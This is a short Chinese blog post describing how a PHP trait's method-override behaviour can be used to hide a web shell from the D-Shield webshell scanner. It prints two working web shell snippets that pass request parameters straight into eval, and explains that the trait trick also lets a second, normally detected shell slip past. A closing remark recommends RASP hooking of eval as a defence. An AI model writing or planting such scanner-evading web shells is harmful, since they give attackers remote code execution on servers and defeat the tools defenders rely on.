帮着公司审着代码, 发现一个 PHP 挺好玩的特性, 突发奇想, 想看看能不能绕 D 盾, 没想到就成了.
这个特性已经写在 Title 里面了, 具体可以参考 php.net 上的介绍,
说人话就是覆盖方法, 于是我们就可以覆盖父类的方法, 把无害的变成有害的.
不废话, 直接看 shell 代码
1<?php
2trait T {
3 function dynamic() {
4 eval("$this->s");
5 }
6}
7
8class B {
9 function dynamic() {
10 echo "I am innocent";
11 }
12
13 function __construct() {
14 $this->s = $_REQUEST['s'];
15 }
16}
17
18class C extends B {
19 use T;
20
21 function __construct() {
22 parent::__construct();
23 $this->dynamic();
24 }
25}
26
27$c = new C();
可以看到用 T 的 dynamic
覆盖了 B 的 dynamic
, 导致了代码执行,
个人猜测是 D 盾不支持 trait
, 没有把里面的 eval 当成代码, 直接给跳过了.
而且很神奇的是, 在这一段下面放一段本来过不了的, 也能过 D 盾了.
1class B {
2 public $c;
3
4 function __construct() {
5 $this->c = $_REQUEST['a'];
6 }
7
8 function a() {
9 eval($this->c);
10 }
11}
12$d = new B();
13$d->a();
感觉 D 盾内应该有好几种引擎, trait 把其中基于数据流的引擎给搞崩了? 于是也就能过了.
比较的谜…
最后, PHP 这种动态语言, 静态查杀的难度是真的大…
特别涉及类, 过 D 盾的姿势非常多, 百度随便搜搜就有一堆. 想要真正防止, 还是靠 rasp 这种技术吧.
hook eval, 然后检测数据流是否来自 $_POST, $_GET 等等